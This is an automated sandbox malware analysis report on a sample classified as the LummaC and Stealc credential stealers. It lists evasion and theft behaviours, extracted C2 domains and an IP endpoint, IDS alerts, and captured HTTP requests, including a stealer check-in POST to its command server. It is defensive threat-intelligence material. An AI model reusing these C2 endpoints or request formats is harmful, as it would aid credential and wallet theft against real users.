Edit tour

Windows Analysis Report
qvkwOs4JfC.exe

Overview

General Information

Sample name:	qvkwOs4JfC.exe renamed because original name is a hash value
Original sample name:	bfc8fbb265274e407ebb9b2be9b6630f.exe
Analysis ID:	1576142
MD5:	bfc8fbb265274e407ebb9b2be9b6630f
SHA1:	0aee8ad1ee7bc01cb6994f8de0b714a2ad3a64c2
SHA256:	3c6116a035069356a08c478ec90a8be22a0ba2e8c749dd4d33f7cad2a3ee86ac
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

qvkwOs4JfC.exe (PID: 5664 cmdline: "C:\Users\user\Desktop\qvkwOs4JfC.exe" MD5: BFC8FBB265274E407EBB9B2BE9B6630F)

9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe (PID: 6760 cmdline: "C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe" MD5: F86C08A75747002A2A7CD3FBC5FE05C8)

GZ5P1E828L48RRT6FSG1LU5.exe (PID: 2292 cmdline: "C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe" MD5: E33DC32F04E77BC26482BACCB87B9795)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["awake-weaves.cyou", "debonairnukk.xyz", "deafeninggeh.biz", "diffuculttan.xyz", "wrathful-jammy.cyou", "tacitglibbr.biz", "sordid-snaked.cyou", "effecterectz.xyz", "immureprech.biz"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2506803360.0000000000DA1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2245320094.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.2448236024.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2505081729.000000000087E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2245144917.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: qvkwOs4JfC.exe PID: 5664	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: qvkwOs4JfC.exe PID: 5664	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: qvkwOs4JfC.exe PID: 5664	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: GZ5P1E828L48RRT6FSG1LU5.exe PID: 2292	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: GZ5P1E828L48RRT6FSG1LU5.exe PID: 2292	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:25:09.639143+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	104.21.50.161	443	TCP
2024-12-16T15:25:11.664431+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	104.21.50.161	443	TCP
2024-12-16T15:25:14.035418+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	104.21.50.161	443	TCP
2024-12-16T15:25:16.189579+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	104.21.50.161	443	TCP
2024-12-16T15:25:18.858747+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	104.21.50.161	443	TCP
2024-12-16T15:25:21.713405+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	104.21.50.161	443	TCP
2024-12-16T15:25:24.653579+0100	2028371	3	Unknown Traffic	192.168.2.5	49723	104.21.50.161	443	TCP
2024-12-16T15:25:29.262989+0100	2028371	3	Unknown Traffic	192.168.2.5	49735	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:25:10.432823+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.50.161	443	TCP
2024-12-16T15:25:12.425139+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.50.161	443	TCP
2024-12-16T15:25:30.106328+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49735	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:25:10.432823+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:25:12.425139+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	104.21.50.161	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:25:09.639143+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	104.21.50.161	443	TCP
2024-12-16T15:25:11.664431+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.5	49705	104.21.50.161	443	TCP
2024-12-16T15:25:14.035418+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.5	49706	104.21.50.161	443	TCP
2024-12-16T15:25:16.189579+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.5	49707	104.21.50.161	443	TCP
2024-12-16T15:25:18.858747+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.5	49708	104.21.50.161	443	TCP
2024-12-16T15:25:21.713405+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.5	49710	104.21.50.161	443	TCP
2024-12-16T15:25:24.653579+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.5	49723	104.21.50.161	443	TCP
2024-12-16T15:25:29.262989+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.5	49735	104.21.50.161	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:25:31.578302+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49742	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:25:08.045224+0100	2058230	1	Domain Observed Used for C2 Detected	192.168.2.5	55753	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:25:22.521983+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49710	104.21.50.161	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:25:44.411386+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49766	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:25:24.721465+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49723	104.21.50.161	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe, 00000003.00000002.2550054931.0000000000792000.00000040.00000001.01000000.00000006.sdmp, 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe, 00000003.00000003.2416566407.0000000004C00000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058230 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz) : 192.168.2.5:55753 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.5:49704 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.5:49708 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.5:49705 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.5:49706 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.5:49710 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.5:49707 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.5:49723 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.5:49735 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49766 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49710 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49735 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49723 -> 104.21.50.161:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: awake-weaves.cyou
Source: Malware configuration extractor	URLs: debonairnukk.xyz
Source: Malware configuration extractor	URLs: deafeninggeh.biz
Source: Malware configuration extractor	URLs: diffuculttan.xyz
Source: Malware configuration extractor	URLs: wrathful-jammy.cyou
Source: Malware configuration extractor	URLs: tacitglibbr.biz
Source: Malware configuration extractor	URLs: sordid-snaked.cyou
Source: Malware configuration extractor	URLs: effecterectz.xyz
Source: Malware configuration extractor	URLs: immureprech.biz

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:25:30 GMTContent-Type: application/octet-streamContent-Length: 2776576Last-Modified: Mon, 16 Dec 2024 13:42:20 GMTConnection: keep-aliveETag: "67602e3c-2a5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 b1 52 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 6f 67 72 70 74 77 67 00 00 2a 00 00 a0 00 00 00 fe 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 70 6c 6c 62 66 73 70 00 20 00 00 00 a0 2a 00 00 04 00 00 00 38 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 3c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:25:36 GMTContent-Type: application/octet-streamContent-Length: 1796608Last-Modified: Mon, 16 Dec 2024 13:43:52 GMTConnection: keep-aliveETag: "67602e98-1b6a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 12 3a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 7a 61 61 7a 79 65 61 00 d0 19 00 00 40 4f 00 00 c6 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 73 77 75 69 74 73 72 00 10 00 00 00 10 69 00 00 04 00 00 00 44 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 69 00 00 22 00 00 00 48 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEHCGDBFCBAKECBKKEBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 37 37 33 38 33 46 31 32 36 34 34 30 32 32 33 39 31 37 38 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 2d 2d 0d 0a Data Ascii: ------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="hwid"6877383F12644022391788------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="build"stok------KJEHCGDBFCBAKECBKKEB--

Source: Joe Sandbox View	IP Address: 104.21.50.161 104.21.50.161
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49723 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49710 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49735 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49742 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: tacitglibbr.biz
